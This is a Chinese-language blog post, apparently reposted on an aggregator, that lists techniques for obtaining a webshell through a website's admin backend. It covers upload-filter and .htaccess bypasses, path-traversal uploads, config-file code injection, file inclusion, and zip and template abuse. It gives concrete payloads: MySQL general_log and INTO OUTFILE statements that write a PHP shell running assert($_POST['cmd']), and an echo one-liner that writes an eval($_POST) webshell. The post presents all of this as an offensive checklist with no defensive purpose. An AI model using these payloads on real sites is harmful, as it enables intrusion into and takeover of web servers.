后台getshell常用技巧总结
1.利用文件上傳漏洞,找文件上傳處想辦法上傳php文件。
一些網站在設置可以允許修改上傳的文件類型則直接添加php
有時候會還有檢測是否為php文件,可以通過文件名變形,大小寫,雙寫等形式繞過,只要是黑名單的都比較好繞過。
很多cms還有.htaccess文件禁止訪問或者執行這個目錄下的文件的情況。
這種情況直接上傳一個.htaccess文件覆蓋這個,讓其失效。
或者上傳不重命名的話,上傳../../shell.php,傳到其他不被限制訪問的目錄。
或者找任意文件刪除漏洞把.htaccess文件刪除。
2.找文件配置的地方寫入php代碼,一般都有過濾的,想辦法繞過。
過濾單引號的話可以用注釋把上一個的內容注釋掉,在下一個參數配置注入代碼。
效果如下:
$conf_1 = 'xx\'; $conf_2 = ';phpinfo();//'這樣就相當于
$conf_1 = 'xx\';$conf_2 = '; phpinfo();php代碼就可以執行了,防護比較弱的話直接訪問這個配置文件就可以getshell了。
防護比較好的禁止訪問配置文件時,就找包含這個配置文件的文件即可。
3.找有沒有存在任意文件包含的地方,本地包含的話直接上傳php代碼的圖片,遠程包含的話就在自己的服務器上設置php代碼文件。
4.sql注入getshell,要知道網站的絕對路徑
方法一:利用設置mysql log為php文件,并設置路徑到網站目錄下,這樣就可以把sql中執行的php語句插入的log中了。
如:
SETglobal general_log='on'; SETglobalgeneral_log_file='D:/webshell/WWW/shell.php';#如果沒有shell.php會自動創建
SELECT'<?php assert($_POST["cmd"]);?>';方法二:
select "<?php phpinfo(); ?>" into outfile 'shell路徑.php'5.遠程圖片文件下載
有時候遠程圖片下載的時候,可以設置一下下載自己的php文件
如 自己服務器上的文件1.php
<?php echo "<?php phpinfo(); ?>"; ?>或者別的方式,讓頁面有php代碼,如果不過濾后綴的話直接會下載這個php文件。
6.zip解壓getshell
這個在系統升級或者插件安裝的地方很多都有這個問題。上傳shell.php在壓縮包中,上傳系統升級時會解壓縮,那么就可以getshell
7.緩存寫入
有些地方會把緩存寫入到一個php文件里,想辦法讓自己的payload寫入緩存中。
8.數據庫備份getshell
有些提供功能可以通過數據庫備份進行修改文件后綴。
9.編輯模板getshell
在網站編輯模板插入一句話。
10.命令執行拿webshell
echo <?php @eval($_POST(a));?> >路徑.php
可以用相對路徑也可以用絕對路徑
11.編輯器漏洞getshell
要留意cms使用的編輯器版本是否是已知漏洞的版本
12.利用文件解析漏洞拿webshell
13.找可以執行代碼的函數,看看參數是否可控
14.找寫文件的函數,看看文件后綴和內容是否可控
15,. 沒有進入后臺
0day拿webshell
IIS寫權限拿webshell(put一個shell進去)
命令執行拿webshell
通過注入漏洞拿webshell
前臺圖片上傳拿webshell
Structs2拿webshell
java反序列拿webshell
?
總結
以上是生活随笔為你收集整理的后台getshell常用技巧总结的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 悬剑武器库之5种工具学习(shiro检测
- 下一篇: haproxy透传用户ip-方法和原理